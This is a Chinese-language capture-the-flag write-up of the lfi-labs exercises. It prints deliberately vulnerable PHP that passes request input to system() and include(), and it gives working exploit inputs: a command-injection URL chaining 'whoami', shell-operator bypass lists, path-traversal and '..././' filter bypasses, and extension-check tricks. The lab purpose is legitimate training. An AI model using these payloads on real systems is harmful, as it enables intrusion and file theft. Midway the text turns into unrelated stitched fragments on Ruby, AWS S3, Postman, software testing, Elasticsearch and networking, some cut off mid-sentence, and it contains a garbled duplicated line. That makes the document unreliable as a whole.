本实验来自于https://github.com/paralax/lfi-labs
做到一半了才发现BUUCTF上有,可以参考本篇做一下
该关卡直接执行Get方法cmd对应的命令
<?php
system($_GET["cmd"]);
?>

和上题相似,接收参数方式换成POST请求
<?php
system($_POST["cmd"]);
?>

本实验应该在LNIUX环境下运行,我们要修改/usr/bin/whois为作用相近的nslookup
<?php
system("/usr/bin/whois " . $_GET["domain"]);
?>
补充一些常用的绕过方法
cmd1|cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1;cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1||cmd2:如果cmd1为假,则执行cmd2;
cmd1&&cmd2:如果cmd1为真,则执行cmd2;

<?php
system("whois " . $_POST["domain"]);
?>
Windows同样没有whois改代码可以用Docker创建。
在实验目录下运行docker-compose up记得开启Docker-Desktop来启动守护进程。

<?php
if (preg_match('/^[-a-z0-9]+\.a[cdefgilmnoqrstuwxz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmoz]|e[cegrstu]|f[ijkmor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdeghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|t[cdfghjklmnoprtvwz]|u[agksyz]|v[aceginu]|w[fs]|y[et]|z[amw]|biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9]+$/', strtolower($_GET["domain"])))
{ system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); }
else
{echo "malformed domain name";}
?>
本关先对域名进行解析,然后传参进入whois -h [server] [domain]
根据hint,不是所有的参数都要在文本框输入,我们可以通过控制server来进行RCE
http://localhost:8080/CMD-5/?domain=facebook.com&server=127.0.0.1|whoami||
我们重点学习LFI的相关绕过
文件包含漏洞就是利用文件包含函数,来实现信息泄露或代码注入等恶意操作。
文件包含的条件:
两个配置选项均需要为On,才能远程包含文件(RFI)成功,由于危害较大,所以常见的是LFI。
<?php
include($_GET["page"]);
?>
最简单的文件包含,基本原理是include会将文件作为php文件来解释。
在docker里面创建要包含的文件
root@lfiweb:/var/www/html# cat payload.php
直接get请求包含即可http://localhost:8080/LFI-1/?page=../payload.php
<?php
include("includes/".$_GET['library'].".php");
?>
我的环境下LFI-2没有includes文件夹,创建后按照上一题的思路构造
http://localhost:8080/LFI-2/?library=../../payload
这里涉及到了file://协议
file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。
<?php
if (substr($_GET['file'], -4, 4) != '.php')
echo file_get_contents($_GET['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的方法。
这里补充下其他常见的文件包含利用点
include():程序执行到才包含,遇到错误生成警告,继续执行脚本
require():程序运行起来立刻包含,遇到错误生成致命错误,脚本继续
include_once():如果文件已包含,则不再进行包含
require()_once():如果文件已包含,则不再进行包含
fopen(),file_get_contents()等:文件读取函数
根据源码,这里的后四位不能是.php
我学到的几种绕过方法如下,但是都是基于windows文件系统特性的绕过,docker搭建的环境下还是不会绕,又用回去phpstudy了(对不起我是废物)
大小写绕过:php->PHp
空格绕过:php->php<空格>,这个得抓包后在hex中修改
加点饶工:php->php.
特殊字符绕过:php->php::$DATA
使用'.ph<'进使用'.ph<'进行.php拓展过滤渗出行.php拓展过滤渗出
因为该函数是读取文件内容,所以这里不会进入phpinfo,而是会回显(加个<br/>可以看到)
http://localhost/LFILabs/LFI-3/?file=../payload.ph%3C
<?php
include('includes/class_'.addslashes($_GET['class']).'.php');
?>
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
补上includes\class_,不使用预定义的字符似乎也能做
http://localhost/LFILabs/LFI-4/?class=/../../../payload
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
补上pages文件夹。过滤了../,简单的双写就能绕过
http://localhost/LFILabs/LFI-5/?file=..././..././payload.php
<?php
include($_POST["page"]);
?>
简单换成POST请求

接下来五道题就是这五道题目与的POST复刻
<?php
include("includes/".$_POST['library'].".php");
?>
思路参考LFI-2,更换为POST请求,补上includes文件夹

<?php
if (substr($_POST['file'], -4, 4) != '.php')
echo file_get_contents($_POST['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
参考LFI-3

<?php
include('includes/class_'.addslashes($_POST['class']).'.php');
?>
参考LFI-4
补上includes/class_文件夹

<?php
$file = str_replace('../', '', $_POST['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
参考LFI-5

<?php include($_POST['stylepath']); ?>
在源码下找到下面这段,代码中隐藏真正的参数
<form action="/LFI-11/index.php" method="POST">
<input type="text" name="file">
<input type="hidden" name="style" name="stylepath">
</form>

<form action="/LFI-12/index.php" method="GET">
<input type="text" name="file">
<input type="hidden" name="style" name="stylepath">
</form>
<?php include($_GET['stylepath']); ?>
LFI-11的get版本http://localhost/LFILabs/LFI-12/?stylepath=../payload.php
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
构建pages文件夹http://localhost/LFILabs/LFI-13/?file=..././..././payload.php
<?php
$file = str_replace('../', '', $_POST['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
LFI-13的复刻,最后一道LFI了,感觉有点水,重复太多了。


阴间页面。。。
hint: array_key_exists() expects exactly 2 parameters
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
一道不明所以的题目,arr_key_value()参数不全,可以猜测是创建一个Cookie来绕过,推荐EditCookie插件
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
1.postman介绍Postman一款非常流行的API调试工具。其实,开发人员用的更多。因为测试人员做接口测试会有更多选择,例如Jmeter、soapUI等。不过,对于开发过程中去调试接口,Postman确实足够的简单方便,而且功能强大。2.下载安装官网地址:https://www.postman.com/下载完成后双击安装吧,安装过程极其简单,无需任何操作3.使用教程这里以百度为例,工具使用简单,填写URL地址即可发送请求,在下方查看响应结果和响应状态码常用方法都有支持请求方法:getpostputdeleteGet、Post、Put与Delete的作用get:请求方法一般是用于数据查询,
Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功
ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同
我在一个ruby文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}
(本文是网络的宏观的概念铺垫)目录计算机网络背景网络发展认识"协议"网络协议初识协议分层OSI七层模型TCP/IP五层(或四层)模型报头以太网碰撞路由器IP地址和MAC地址IP地址与MAC地址总结IP地址MAC地址计算机网络背景网络发展 是最开始先有的计算机,计算机后来因为多项技术的水平升高,逐渐的计算机变的小型化、高效化。后来因为计算机其本身的计算能力比较的快速:独立模式:计算机之间相互独立。 如:有三个人,每个人做的不同的事物,但是是需要协作的完成。 而这三个人所做的事是需要进行协作的,然而刚开始因为每一台计算机之间都是互相独立的。所以前面的人处理完了就需要将数据